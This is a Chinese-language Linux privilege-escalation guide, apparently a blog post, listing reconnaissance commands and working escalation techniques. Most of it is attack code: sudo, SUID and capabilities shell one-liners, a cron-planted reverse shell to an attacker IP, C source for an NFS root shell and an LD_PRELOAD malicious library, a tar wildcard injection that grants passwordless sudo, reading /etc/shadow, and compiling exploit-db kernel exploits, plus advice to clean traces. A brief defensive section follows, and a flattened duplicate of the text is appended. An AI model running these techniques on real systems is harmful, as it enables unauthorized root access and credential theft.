Linux提权基础分享和讨论
字数 1869 2025-08-26 22:11:23

Linux提权基础全面指南

1. 提权基础概念

权限提升的本质是从低权限账户转换为高权限用户,通常通过以下方式实现:

  • 操作系统或应用程序漏洞
  • 设计缺陷
  • 配置不当

高权限的优势:

  • 重置其他账户密码
  • 访问受限文件
  • 绕过访问控制
  • 更改软件配置
  • 实现持久化
  • 更改用户权限

2. 信息收集

2.1 系统信息收集

uname -a       # 所有系统信息
uname -r       # 内核版本
uname -n       # 系统主机名
uname -m       # 系统架构(64/32位)
hostname       # 系统主机名
cat /proc/version  # 内核信息
cat /etc/*-release # 分发信息
cat /etc/issue     # 分发信息
cat /proc/cpuinfo  # CPU信息
ls /boot | grep vmlinuz- # 内核文件

2.2 用户和群组信息

cat /etc/passwd    # 所有用户
cat /etc/group     # 所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 超级用户
whoami             # 当前用户
w                  # 当前登录用户及活动
last               # 最后登录用户
lastlog            # 所有用户上次登录信息

2.3 用户权限信息

id                # 当前用户信息
cat /etc/sudoers  # sudo权限配置
sudo -l           # 当前用户可sudo执行的命令

2.4 环境信息

env               # 环境变量
set               # 环境变量
echo $PATH        # 路径信息
history           # 命令历史
cat /etc/profile  # 系统变量
cat /etc/shells   # 可用shell

2.5 进程和服务

ps aux           # 所有进程
ps -ef           # 完整格式进程
top              # 动态进程查看
cat /etc/services # 服务端口
netstat -anptl   # 网络连接
lsof -i          # 打开的网络连接

2.6 安装的软件

ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l          # Debian系安装的软件

2.7 计划任务

crontab -l       # 当前用户计划任务
ls -alh /var/spool/cron/ # 系统计划任务
cat /etc/crontab # 系统计划任务
ls -al /etc/cron* # 所有cron配置

2.8 密码和密钥

grep -i pass [filename]  # 搜索密码
find / -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # 搜索PHP密码
cat ~/.ssh/authorized_keys # SSH授权密钥
cat ~/.ssh/id_rsa        # SSH私钥

2.9 SUID/GUID文件

find / -perm -u=s -type f 2>/dev/null  # SUID文件
find / -perm -g=s -type f 2>/dev/null  # GUID文件
find / -perm -4000 -ls 2>/dev/null     # SUID文件详细

2.10 可写目录

find / -writable 2>/dev/null          # 可写目录
find / -perm -222 -type d 2>/dev/null # 全局可写目录

3. 提权方法

3.1 内核漏洞提权

步骤:

  1. 获取内核版本信息
  2. 搜索对应漏洞(exploit-db/searchsploit)
  3. 上传并执行漏洞利用代码

常见内核漏洞:

  • CVE-2016-5195 (脏牛DirtyCow)
  • CVE-2022-0847 (DirtyPipe)
  • CVE-2019-13272
  • CVE-2017-16995
  • CVE-2019-14287

资源:

3.2 sudo提权

方法:

  1. sudo -l 查看可用命令
  2. GTFOBins搜索对应命令的提权方法

示例:

  • less提权:

    sudo less /etc/profile
    !/bin/sh
    
  • find提权:

    sudo find . -exec /bin/sh \; -quit
    
  • nano提权:

    sudo nano
    # 按Ctrl+R然后Ctrl+X
    reset; sh 1>&0 2>&0
    

3.3 SUID提权

原理:SUID程序运行时以所有者权限执行

查找SUID文件:

find / -perm -4000 -ls 2>/dev/null

利用方法:

  1. 查找非常用SUID程序
  2. 检查GTFOBins是否有利用方法
  3. 利用程序功能执行命令

示例:nmap提权

# 老版本交互模式
nmap --interactive
!sh

# 新版本使用脚本
echo 'os.execute("/bin/sh")' > shell.nse
nmap --script=shell.nse

3.4 Capabilities提权

Capabilities是Linux 2.2+引入的权限细分机制

查找有capabilities的程序:

getcap -r / 2>/dev/null

利用方法:

# gdb
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

# python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

# vim
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

3.5 计划任务提权

方法:

  1. 检查cron任务
    cat /etc/crontab
    ls -al /etc/cron*
    
  2. 查找可写的脚本文件
  3. 修改脚本添加反弹shell

示例反弹shell:

bash -i >& /dev/tcp/攻击机IP/端口 0>&1

3.6 PATH环境变量提权

原理:利用PATH变量优先级执行恶意程序

步骤:

  1. 查找可写目录
    find / -writable 2>/dev/null
    
  2. 将可写目录添加到PATH开头
    export PATH=/tmp:$PATH
    
  3. 创建与系统命令同名的恶意程序

3.7 NFS提权

前提条件:NFS共享配置了no_root_squash

步骤:

  1. 识别NFS共享
    showmount -e 目标IP
    
  2. 挂载共享
    mount -t nfs 目标IP:/share /mnt
    
  3. 创建SUID程序
    #include <unistd.h>
    void main() {
      setuid(0);
      setgid(0);
      system("/bin/bash");
    }
    
  4. 编译并设置SUID
    gcc exploit.c -o exploit
    chmod +s exploit
    

3.8 共享库提权

方法一:LD_PRELOAD

  1. 检查sudo权限
    sudo -l
    # 需包含env_keep+=LD_PRELOAD
    
  2. 创建恶意库
    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    void _init() {
      unsetenv("LD_PRELOAD");
      setgid(0);
      setuid(0);
      system("/bin/bash");
    }
    
  3. 编译并执行
    gcc -fPIC -shared -o evil.so evil.c -nostartfiles
    sudo LD_PRELOAD=/tmp/evil.so 命令
    

方法二:共享库劫持

  1. 使用ldd查看程序依赖库
  2. 查找非标准库路径
  3. 创建恶意库替换

3.9 特权组提权

常见特权组及利用方法:

组名 权限 利用方法
docker 无密码root访问 docker run -v /root:/mnt -it ubuntu
disk 访问/dev设备 debugfs -rw /dev/sda2
adm 读取日志 检查/var/log敏感信息
lxd/lxc 容器管理 创建特权容器挂载主机文件系统

3.10 通配符提权

示例:tar提权

echo 'echo "user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1

等待root用户执行tar命令时触发

4. 防御措施

4.1 更新和补丁

  • 定期更新内核和软件
  • 删除不必要的老旧服务

4.2 配置管理

  • 检查SUID/SGID文件
  • 使用绝对路径定义cron任务
  • 避免明文存储凭证
  • 清理历史记录
  • 限制共享库修改权限

4.3 用户管理

  • 限制管理员账户数量
  • 监控登录尝试
  • 实施强密码策略
  • 最小权限原则分配sudo
  • 使用自动化配置管理工具

5. 实用工具

5.1 本地扫描工具

  • LinEnum
  • LinPEAS
  • Linux Exploit Suggester
  • Linux Priv Checker

5.2 漏洞搜索

searchsploit linux 内核版本 priv esc

5.3 其他资源

6. 实战示例

6.1 内核漏洞利用

  1. 识别内核版本:uname -a
  2. 搜索漏洞:searchsploit 3.13
  3. 下载并编译利用代码:
    searchsploit -m 37292.c
    gcc 37292.c -o exploit
    
  4. 执行提权

6.2 SUID提权示例

  1. 查找SUID文件:
    find / -perm -4000 -ls 2>/dev/null
    
  2. 发现base64有SUID权限
  3. 读取敏感文件:
    ./base64 /etc/shadow | base64 --decode
    

6.3 计划任务提权

  1. 检查cron任务:
    cat /etc/crontab
    
  2. 发现可写的备份脚本
  3. 修改脚本添加反弹shell
  4. 等待任务执行获取root shell

7. 总结

Linux提权方法多样,关键在于:

  1. 全面信息收集
  2. 识别配置不当或漏洞
  3. 选择合适的方法利用
  4. 获取凭证或直接提权
  5. 清理痕迹

防御者应遵循最小权限原则,定期审计系统配置,及时更新补丁,减少攻击面。

Linux提权基础全面指南 1. 提权基础概念 权限提升的本质是从低权限账户转换为高权限用户,通常通过以下方式实现: 操作系统或应用程序漏洞 设计缺陷 配置不当 高权限的优势: 重置其他账户密码 访问受限文件 绕过访问控制 更改软件配置 实现持久化 更改用户权限 2. 信息收集 2.1 系统信息收集 2.2 用户和群组信息 2.3 用户权限信息 2.4 环境信息 2.5 进程和服务 2.6 安装的软件 2.7 计划任务 2.8 密码和密钥 2.9 SUID/GUID文件 2.10 可写目录 3. 提权方法 3.1 内核漏洞提权 步骤: 获取内核版本信息 搜索对应漏洞(exploit-db/searchsploit) 上传并执行漏洞利用代码 常见内核漏洞: CVE-2016-5195 (脏牛DirtyCow) CVE-2022-0847 (DirtyPipe) CVE-2019-13272 CVE-2017-16995 CVE-2019-14287 资源: Linux内核漏洞汇总 3.2 sudo提权 方法: sudo -l 查看可用命令 在 GTFOBins 搜索对应命令的提权方法 示例: less提权 : find提权 : nano提权 : 3.3 SUID提权 原理 :SUID程序运行时以所有者权限执行 查找SUID文件 : 利用方法 : 查找非常用SUID程序 检查GTFOBins是否有利用方法 利用程序功能执行命令 示例:nmap提权 3.4 Capabilities提权 Capabilities 是Linux 2.2+引入的权限细分机制 查找有capabilities的程序 : 利用方法 : 3.5 计划任务提权 方法: 检查cron任务 查找可写的脚本文件 修改脚本添加反弹shell 示例反弹shell : 3.6 PATH环境变量提权 原理 :利用PATH变量优先级执行恶意程序 步骤: 查找可写目录 将可写目录添加到PATH开头 创建与系统命令同名的恶意程序 3.7 NFS提权 前提条件 :NFS共享配置了 no_root_squash 步骤: 识别NFS共享 挂载共享 创建SUID程序 编译并设置SUID 3.8 共享库提权 方法一:LD_ PRELOAD 检查sudo权限 创建恶意库 编译并执行 方法二:共享库劫持 使用 ldd 查看程序依赖库 查找非标准库路径 创建恶意库替换 3.9 特权组提权 常见特权组及利用方法: | 组名 | 权限 | 利用方法 | |------|------|----------| | docker | 无密码root访问 | docker run -v /root:/mnt -it ubuntu | | disk | 访问/dev设备 | debugfs -rw /dev/sda2 | | adm | 读取日志 | 检查/var/log敏感信息 | | lxd/lxc | 容器管理 | 创建特权容器挂载主机文件系统 | 3.10 通配符提权 示例:tar提权 等待root用户执行tar命令时触发 4. 防御措施 4.1 更新和补丁 定期更新内核和软件 删除不必要的老旧服务 4.2 配置管理 检查SUID/SGID文件 使用绝对路径定义cron任务 避免明文存储凭证 清理历史记录 限制共享库修改权限 4.3 用户管理 限制管理员账户数量 监控登录尝试 实施强密码策略 最小权限原则分配sudo 使用自动化配置管理工具 5. 实用工具 5.1 本地扫描工具 LinEnum LinPEAS Linux Exploit Suggester Linux Priv Checker 5.2 漏洞搜索 5.3 其他资源 GTFOBins Linux内核漏洞汇总 6. 实战示例 6.1 内核漏洞利用 识别内核版本: uname -a 搜索漏洞: searchsploit 3.13 下载并编译利用代码: 执行提权 6.2 SUID提权示例 查找SUID文件: 发现base64有SUID权限 读取敏感文件: 6.3 计划任务提权 检查cron任务: 发现可写的备份脚本 修改脚本添加反弹shell 等待任务执行获取root shell 7. 总结 Linux提权方法多样,关键在于: 全面信息收集 识别配置不当或漏洞 选择合适的方法利用 获取凭证或直接提权 清理痕迹 防御者应遵循最小权限原则,定期审计系统配置,及时更新补丁,减少攻击面。